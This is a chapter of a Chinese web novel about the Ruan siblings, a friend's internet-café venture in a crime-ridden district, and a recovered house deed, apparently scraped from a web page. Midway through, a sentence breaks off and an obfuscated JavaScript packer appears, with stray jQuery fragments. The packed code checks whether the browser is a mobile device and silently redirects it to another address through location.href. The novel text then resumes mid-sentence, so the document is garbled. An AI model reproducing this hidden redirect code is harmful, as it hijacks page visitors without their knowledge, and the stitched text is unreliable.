91. 不是坏事

作品:《拨云不见日[九零]

    胖子无事不登三宝殿——不是登门必是有事相求,而是单纯的字面意思,就是没事情干也要来三宝殿登门拜访一下。


    他手里提着一兜子馒头,红的黄的白的什么颜色都有,说是受不了淼淼蒸得夹心馒头,所以从外头买了点儿带过来。


    “我什么时候蒸过夹心的了?”淼淼茫然。


    阮秋嗤笑了声:“夹冰碴芯儿的吧。”


    淼淼抬手就给了阮秋一巴掌。


    阮云琛却陷入了沉思。


    她通常不太关心胖子的生意。


    胖子有点人来疯,一天一个主意,今天想着做烧烤,明天又琢磨开个修车铺,指不定哪天再冒出个新点子来。


    关心了也没用,听多了反倒让人觉得自己像个聆听客户抱怨的心理咨询师。


    可这次不一样。


    开网吧不是小事,选了址之后,短期内就很难变动,更别提店铺装修和设备投入,都是一笔一笔的实打实的钱。


    胖子对这方面虽说不上门外汉,但也绝不是行家。


    再加上城北——那个地方,她心里一时说不出的担忧。


    城北是棚户区,简陋而杂乱,仿佛整片区域都被遗忘在了城市的角落。那里曾经是......


    是宋祈发放高利贷最集中的区域。


    和安堂在那边闹过无数事端,尽管后来治安有所改善,却也只是表面平静。打架斗殴的新闻隔三差五还会蹿进头条,充斥着一种难以描述的危险感。


    阮云琛把这些在脑子里理清了一遍,抬头又看了胖子一眼:“你确定要在那里开吗?”


    胖子正往嘴里塞馒头,被问得一愣,吞下去的时候差点噎着。


    他咳了两声,随手从桌上拿了杯水灌了两口,才慢吞吞地回答:“成哥说,那边人流量大,附近学生多,开网吧肯定不愁生意。”


    阮云琛没说话,只是看着他。目光平静,却让胖子不由得挪了一下坐姿。


    “钱呢?”她开口问道,语气轻飘飘的,却像一把细针直戳人心,“从哪儿来的?”


    胖子一愣,神色间多了几分不自在。他挠了挠头,支吾着:“积蓄……还能贷点。”


    一句“贷点”让整个客厅瞬间安静下来。


    阮秋的脸色立刻沉了几分,他紧张地扫了一眼阮云琛,又不安地看向胖子,像是被什么压得有些喘不过气来。


    阮云琛的眉头微微皱了起来,面色凝重得像是结了冰。


    她停顿了一下,才问:“上哪儿贷?”


    胖子显然被这气氛搞得有点莫名其妙。


    他咽了口唾沫,赶紧摆手解释:“银行啊!还能去哪儿?合法的,正规手续。”


    这句话像是戳破了某种紧绷的气泡,阮秋明显松了口气,后背靠回沙发上,却还偷偷观察着阮云琛的表情。


    阮云琛终于点了点头,眉头舒展了一些,但语气还是淡淡的:“到时候记得把合同看清楚,别稀里糊涂被人坑了。”


    “知道了知道了!”胖子像是卸下了什么重担,连连点头,嘴里还塞着最后一块馒头含糊不清地补充,“你胖哥可是精明着呢!还能吃亏?”


    阮云琛没接话,阮秋倒是先把身子探了出来,阻隔了胖子的视线:“行行行,你精明,全淮龙就你最精明。”


    电视上正好播到了午间新闻,女主播用一贯沉稳的语调播报着最新消息:


    “本台刚刚收到警方通报,近一段时间以来,城北地区聚集性斗殴案件数量有所上升,其中部分案件疑似涉及多个外省非法团伙。警方表示,目前已对相关区域加大巡逻力度,提醒市民注意出行安全。如有任何线索,请及时拨打报警电话。”


    画面切换到一段模糊的监控录像,一群身影在巷口聚集,动作急促而混乱,背景里依稀传来打斗的嘈杂声。


    淼淼皱了皱眉,懒洋洋地伸手去拿遥控器:“不就个新闻么,天天放这个,不腻啊。”


    她正要按下换台键,阮云琛抬手把遥控器从她手里拿了过去,声音平静而不容抗拒:“进屋看书去。”


    淼淼不太情愿,撇了撇嘴:“姐,我刚看了两章,休息会儿不行吗?”


    “我看你就是找借口。”阮云琛把遥控器随手放到茶几上,没给她继续争辩的机会,目光淡淡扫过,“赶紧进去。”


    淼淼小声嘟囔了一句“真麻烦”,却没敢顶撞。


    她站起来,磨蹭着往房间走,临进门前还不忘回头偷偷瞄了一眼阮云琛的脸色。可能是前阵子刚惹阮云琛生气,她这段时间狗腿得很,阮云琛的话一向是绝对听从的。


    画面这会儿又回到了演播室,主播继续播报着后续消息:


    “此外,本市警方再次呼吁,严禁参与任何形式的高利贷交易,避免卷入不必要的法律纠纷。近期已有多起与高利贷相关的暴力事件被立案调查,目前仍在进一步侦办中。”


    插播的新闻一完,立刻就切进了广告,电视声音骤然明亮起来,播报着本地超市促销的各种特价水果。


    胖子捏着水杯,嘴里还嚼着一块馒头,含糊不清地说道:“你不知道啊,成哥这人可厉害了,城北那片儿熟得不能再熟了。我上哪儿找地儿都得带上他,不然还真不一定搞得定。”


    胖子咕嘟咕嘟喝了两口水,显然被问得有些得意,眉毛一挑:“人家成哥就是有面子!你都不知道,那地方谁见了他不喊一声‘庆哥’?就连那些流氓混子都得给他让路!”


    这句话落下后,沙发上阮秋的动作顿了一瞬,手里的果皮刀偏了一下,划在了桌子上。他迅速抬眼看了胖子,又飞快地扫了一眼阮云琛。


    阮云琛脸上没有什么特别的表情,只是伸手把桌子上那块被划掉的橙子皮捡起来,随意地放进了垃圾桶。


    他说着,神色得意了起来,“这次网吧开业的事,多亏了成哥帮忙,跑工商、选址、对接那些零零碎碎的事,全是他一手包办的。他手下那些人听话得很,要不是成哥,我还真不知道要折腾到什么时候。”


    阮云琛一愣:“他手下还有人?”


    胖子一拍大腿:“那当然了,城北那片儿人可多了,什么都得靠人脉——诶,怎么突然问这个?”


    他话音一顿,似乎觉得阮云琛的问题有些奇怪,嚼馒头的速度都慢了下来。


    “随口问问。”阮云琛垂下眼睑,似乎对这个话题失去了兴趣,“开店是件大事,仔细点总没错。”


    “就是嘛!成哥跟我说了,那边虽然偶尔会乱点,但上网的人多,稳赚不赔!”胖子一边说,一边起身朝厨房走去,“哎,我给你们带了点牛肉,快帮我拿碗装一下!”


    胖子的声音渐渐消失在厨房里,客厅里的空气却安静了下来。


    阮云琛坐在沙发上,目光落在茶几上的橙子皮上,没有挪开。


    她的手缓缓握紧了茶杯,指节微微泛白,却没有发出任何声响。


    阮秋看了她一眼,眉头轻轻皱了起来。他放下手里的刀,低声问道:“姐,你认识这个成哥?”


    阮云琛的目光从橙子皮上移开,又盯着茶水想了会儿,却也没想出什么名堂来。


    “不认识。”她说。


    可心中却不知怎得,又开始隐隐不安了起来。


    虽说如此,胖子的网吧倒是置办得还算顺利。


    他那店门是个二手铺子,不太需要怎么装修,银行贷款也批得很快,电脑和其他一些设备很快就进到了货。


    胖子每天都在城北忙里忙外,南面住宅区这边倒是不常见到他了。


    “他不在的时候,竟然还觉得耳朵清净得有点不适应。”阮秋说。


    阮云琛瞥了他一眼,没说话,只是轻轻合上了手里的文件。


    ——那是他们以前住着的地方的房产证。


    之前阮启明把房子抵押给了宋祈,虽然宋祈一直没收走,但那产权切切实实不是在阮启明或是阮云琛的名下的。


    那份抵押协议做得滴水不漏,尽管房子后来因宋祈的倒台被列为涉案财产,阮云琛也没有资格申诉产权归还。


    房子闲置多年,灰尘堆积,像一座被遗忘的孤岛,既无法带来任何收入,也无法完全摆脱。


    但好在最近有了转机。


    廖致远帮她整理了相关的产权文书,申请将房子从案件中剥离出来,交还给她。手续办得还算顺利——廖致远的名字在这其中显然起了不小的作用。


    几天前,她从警局领回了那一纸新的房产证,简单的红色封面里,却装着过去十几年重压下的一点喘息机会。


    只是,阮云琛捏着那纸房产证的指尖微微泛白时,却没显露出太多喜悦的情绪。她知道,这份来的太晚的归属,不过是从一堆废墟里捡回了一个还能凑合用的瓦片,无法改变太多的现实。


    “我打算把之前的家租出去。”阮云琛说。


    阮秋一愣,搅打鸡蛋的动作停了下来。他不知自己现在应该是喜悦,还应该是感到松了口气——又或者两者皆有。


    “文件弄好了?”


    “嗯。”阮云琛拿起了那一叠文件,想了想,还是拿去给阮秋看了一眼。


    白纸黑字,盖着红色的印章,产权所有者那一列,清清楚楚地写着三个大字:“阮云琛”。


    阮秋看着那纸房产证,脸上难得露出一个真心实意的笑。他垂下头继续搅拌鸡蛋,声音低低的:“挺好,真的挺好。”


    “你想再回去看最后一眼吗?”


    阮秋手上的动作顿了顿,随即轻轻摇了摇头:“这个问题该问淼淼。”


    “嗯。”阮云琛把文件整理好,淡声说道,“我是打算等她回来问的。”


    他们三个人中,淼淼是那个最念旧的。


    旧家哪怕破败成什么样,那里对淼淼来说终究还是承载了一部分她模糊不清的童年记忆——至少比对阮云琛和阮秋的意义要多一点。


    淼淼总觉得那里还存在着过去生活的痕迹,不止是他们三个的,还有她记忆里不存在的爸爸妈妈的。


    如果要把房子租出去,最应该问的,其实是淼淼。


    不过她当然不会反对。


    上回那次离家出走,似乎是她最后一次犯傻。她那样做,就只是心中仍有一丝微小的不甘。


    那道不甘像一捧打火机的火苗。


    它安静地伏在心底,几乎不会被察觉,可如果有人煽风点火,那火苗便会猛地蹿起来,烧得她心里发烫,甚至一时间忘了所有的好。


    但它终究只是打火机的火苗。


    如果有人在旁边轻轻吹一道风——甚至不需要是一盆冷水,火苗就会熄灭,化作一缕轻烟,消散得无影无踪。


    淼淼清楚自己不过是嘴硬而已,明明心底比谁都清楚阮云琛对她的好,为她付出的所有,也明白阮秋和廖致远对她的关心与疼爱。可有些话她说不出口,有些情绪她只能用叛逆来掩饰。


    那火苗熄灭后,就再也不会燃起来。


    淼淼的最后一次“犯傻”,或许已经过去了。她清楚那些情绪多么短暂而浅薄,也清楚自己倔强的代价。


    “她出去了?”阮秋忽然问。


    他一大早就去菜市场买菜了,回来的时候,就只有阮云琛在沙发上坐着翻看文件,直到这会儿他才发觉家里似乎格外安静,像少了个人似的——也确实少了个人。


    阮云琛点了点头:“嗯,和同学去游戏厅了。”


    淼淼说东边商业街新开了一家游戏厅,同学们约着一起去,出门前还特意问阮云琛要零花钱。


    她神情带着小心翼翼的试探,语气放得很轻,像是害怕自己一开口就会碰上阮云琛冷脸。


    阮云琛没说话,只是从口袋里掏出了二十块钱,直接递给了她。


    淼淼一愣,眼睛一眨不眨地看着那张钱,像是阮云琛递给她的不是零花钱,而是什么不得了的东西。她伸手接过去的时候,动作也慢吞吞的,像是随时打算撤退。


    但阮云琛没收回手。


    淼淼喜出望外,对着那二十块翻来覆去地看,最后给了阮云琛一个极大的拥抱,拋下了一句和小时候一模一样的感慨;“姐姐就是我最大的超级英雄!”


    随后跟个小兔子似的抓着书包跑了出去。


    “这个时候倒是舍得说‘超级英雄’了。”


    阮秋的语气非常阴阳怪气,挨阮云琛凉凉地看了一眼后,抿着嘴又开始尽职尽责地做午饭。


    可隔了会儿,他又憋不住问道:“所以你就直接给了她二十块?”


    阮云琛愣了愣,抬头看了过去:“太少了吗?”


    “太多了。”阮秋抬起头,表情有点无奈。


    他把蛋液倒进油热的锅里,只听“滋啦”一声,蛋香味立刻蹿了上来:“游戏机才要几块钱?有些的只要几毛。她同学从家里都拿不到十块,你竟然还给二十。”


    阮云琛一时语塞,眼神飘了一下:“我只是怕她被同学瞧不起。”


    阮秋低笑了一声,声音压得很轻,听起来既像是在忍耐,又像是在嘲弄。他没接话,只是拿着筷子往碗边敲了敲,把搅好的蛋液倒进锅里。


    “你对她真是没办法。”他半真半假地感慨了一句,语气里却没有多少责备。


    阮云琛没有接茬,只是站在那里,神情隐约有些走神。


    阮淼淼是父母给她的妹妹,而阮秋是她捡回来的弟弟。


    一个上天选的,一个自己选的,他们两个就像她生命中的两个分支,虽然方向不同,但始终牵连着她的每一部分。


    阮云琛低下头,目光落在桌上文件的红章上,心底忽然生出一种模糊的想法:这样也挺好。


    “吃完饭,去你下学期的新学校看看吧。”阮云琛说。


    阮秋抬起了头,盯着阮云琛看了好一会儿,才低声笑了笑:“好。”


    阮云琛有时候会想,阮秋是不是天生有盯人的毛病。


    小时候,他总喜欢仰着头盯着她看,那时候的目光清澈见底,带着一种天然的依赖和崇拜。


    可后来他长高了,站在她面前的角度变了,目光也变得深沉了些,再这么低头一盯,总让人觉得有点怪。


    不是恶意的那种怪,而是一种说不清道不明的压迫感。


    像是站在大楼的阴影下,明知道对方不会倾倒,却忍不住想往后退一步。


    阮云琛收回了目光,觉得自己可能是多想了。她将桌上的文件合上,语气平淡:“顺便陪我去收拾一下旧家。”


    阮秋闻言,目光依然停留在她脸上,嘴角却微微扬起了一个弧度。他的声音低低的,像是带着一点若有若无的笑意:“好。”


    阮云琛沉默了一瞬,忽然觉得,这种笑意才是真正让人琢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223079|158973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    磨不透的东西。


    淮龙师范学院还真没什么好看的。


    淮龙这个地方本来就小,学校更不可能有多大的校区,更别提这只是个专科升上来的三本。


    那学校站在前门就能瞧见后门,宿舍楼只有一栋,教学楼也不超过五个。


    阮秋跟在阮云琛身后,几步就追上来,语气轻描淡写:“姐,你不用担心。”


    阮云琛没有立刻回答,只是往前走了几步,脚步比刚才慢了一些。


    “项目。”阮秋停了停,抬手按了按鼻梁,似乎在组织措辞,“我看的那个留学交换项目,有二加二,也有四加零。”


    “四加零?”阮云琛略一愣,没听明白。


    “就是四年都在国内,零年国外,但拿双学位证书。”阮秋说。


    阮云琛脚步顿了顿,回过头看了他一眼:“你得想清楚。出国是个很好的机会,尤其是对你来说。”


    “更何况......”她顿了顿,声音稍稍低了一些,“两年后我就毕业了。”


    “对啊,你得好好想清楚。”廖致远也这么说,“两年后我也快退休了,估计没那么忙了。”


    阮云琛和阮秋是来送饭的。


    廖致远的工作总是忙得不可开交,但只要不是需要封闭处理的任务,阮云琛和阮秋总会抽空带饭过来。


    “家里做的总比外边吃健康点。”阮秋说。


    这最开始,是阮云琛提议的。


    阮云琛并不是一个擅长表达的人,她所能想到的,就只是用行动去维系一种无需多言的默契。


    好在廖致远也是同样。


    他一开始还会推脱,但后来渐渐地就也习惯了——或者说,还挺享受这种生活,尤其是每次叫同事瞧见并接收到羡慕的目光时,廖致远那常年紧巴巴皱着的眉头难得的会露出一丝......得意?


    还是窃喜?


    阮云琛说不清。


    但那并不是什么坏事。


    后来因为她要出去读书,送饭的重任自然就落到了阮秋和淼淼的头上。


    “老廖,你是真有福气,收了几个好孩子,连饭都给你照顾得妥妥当当!”一人边嚼着食堂里的干巴巴馒头,边半开玩笑地冲廖致远喊道。


    廖致远没搭理,顺手就把筷子上夹的一只虾头给丢了去,嘴里还骂了句:“去你的吧。”


    公安局门口的花坛成了他们固定的交接地点。花坛边的长椅上常年有些人坐着,晒太阳的、抽烟的,或者只是闲聊几句的。


    空气中弥漫着混合的烟草味和青草味,微风吹来,让盛夏的热气都淡了一些。


    那人一个闪身躲开了高速袭来的虾头,刚想抱怨,就见虾头精准地落到了他身后的垃圾桶里。


    他愣了一下,捏着馒头鼓起了掌:“真行啊老廖!有两把刷子。”


    “快滚!少来这儿捣乱。”廖致远又夹起了一只虾。


    “得得得,不打扰您难得的亲子时光喽。”那人笑了笑,摆摆手走了。


    廖致远的脸还是一贯的冷硬,但眼角的皱纹似乎浅了些,神情也少见地透出一丝放松。


    他随手夹了一口炒蛋,隔了会儿,才又开了口:“出国是个机会。淮龙师范虽然不是一流学校,但交换学校是利物浦大学,还算是不错的。”


    “我再想想。”阮秋说,“还有两年呢,到时候再决定也完全来得及。”


    廖致远沉默了会儿,点了点头:“也是。”


    淼淼又去了游戏厅。


    她冠冕堂皇地说自己开学就初三了,要准备高考,就没那么多时间了,所以想趁着这个假期多玩玩。


    阮秋不信,从淼淼一进家门就开始上下打量,从头看到脚,从门前看到厨房,一直到淼淼殷勤地帮阮云琛拿起了碗开始洗,他才冷不丁道:“你天天往外边跑,不会是看上哪个小子了吧?”


    倒水声突然停了,阮云琛拎着烧水壶,虽然动作没变,但那水流已经停了,头还往淼淼那儿偏,一副明明想听但还要装作不在意的模样。


    淼淼闻言一愣,旋即翻了个大大的白眼:“秋哥,你是不是太闲了?”


    “我就随便一问。”阮秋笑了笑,语气里带着一点揶揄,“难得这么勤快,不像你风格。”


    “我这是节约资源。”淼淼理直气壮地回嘴,“你们每天都吃得跟战士似的,我不洗碗,还能轮到你们?”


    阮秋被她这理直气壮的逻辑逗乐了,摇了摇头:“那你今天去游戏厅看上的小子,长啥样啊?”


    “今天都是女生,同班的,你见过。”淼淼回头冲他眯了眯眼睛,没中计。


    她说着一拍脑袋,露出一副恍然大悟的表情:“哎呀,对了,秋哥,你也这么大了,该不会还没喜欢过什么人吧?”


    她这话说得轻飘飘的,却像是一颗石子,落在了平静的水面上,激起一圈涟漪。


    阮秋正在低头喝刚热好的牛奶——阮云琛给他倒得有点满,他动作微微一顿,杯边泛起一圈细微的涟漪。那几滴奶液沿着杯壁滑下,缓缓聚成一条细线,落在他的手背上,温热感顺着皮肤蔓延开来。


    他的目光落在那条白色的痕迹上,一时间连呼吸都轻了下来。


    牛奶从滑落到消失,不过是一瞬间的事,但在他眼里却像是被拉得极长——一种几乎无法明言的情绪悄然漫过心头,像一场突如其来的潮水,涌上来,又迅速退去,只留下一片湿冷的余痕。


    “别瞎问。”


    阮云琛的声音从旁边传过来,语气平淡得像是天边掠过的风,却让淼淼立刻缩了缩脖子,嘴里嘟囔着:“姐,你就不好奇吗?”


    阮云琛没接话,只是抬眼瞥了她一眼,那眼神懒得多余解释,像是在说“洗你的碗,少管闲事”。


    淼淼却不依不饶:“我还以为秋哥这么大了,肯定身边姑娘能排长队呢。说说呗,说不定我还能帮你参谋参谋?”


    这回,阮秋倒是笑了,他放下杯子,抽了张纸巾擦了擦手,目光快速地往厨房扫了一圈。


    “你笑什么啊?”淼淼皱起了眉。


    “你觉得有意思吗?”阮秋又把牛奶端了起来,靠在沙发背上,瞧向淼淼的目光带着一丝挑衅,“一会儿喜欢谁,一会儿喜欢什么。人能不能有点定性?”


    淼淼翻了个白眼,摆摆手:“哎呀,跟你开玩笑呢。呸,扫兴!”


    她撅着嘴把碗放上沥水架,擦干净了手,往自己房间里去。路过阮秋时,嘴里还不忘嘟囔着:“这么没意思,怪不得没人喜欢你。”


    淼淼的背影消失在房间门口后,客厅里短暂地安静了几秒。


    阮云琛的动作稍稍顿了一下,回头扫了眼沙发上的阮秋。


    刚迈入十八岁的少年身板笔挺得像个成年人——倒是也确实是个成年人的没错。他盯着手里那杯满得过分的牛奶,跟能给里面盯出个拉花似的,一眨不眨。


    阮云琛擦干了手,踱步过去坐了下,拿起茶几上的一摞报纸翻了翻。


    报纸上没什么重要内容,当地新闻的版面上除了菜场打折就是混混闹事,再不济就是港口多了几艘货船的线路,没什么其他新鲜的。


    屋子里一时间安静得很,只有墙上钟表发出的滴答声和报纸被翻动的轻响。


    阮云琛垂着眼,报纸翻到一半,冷不丁地又开了口:“真的没有?”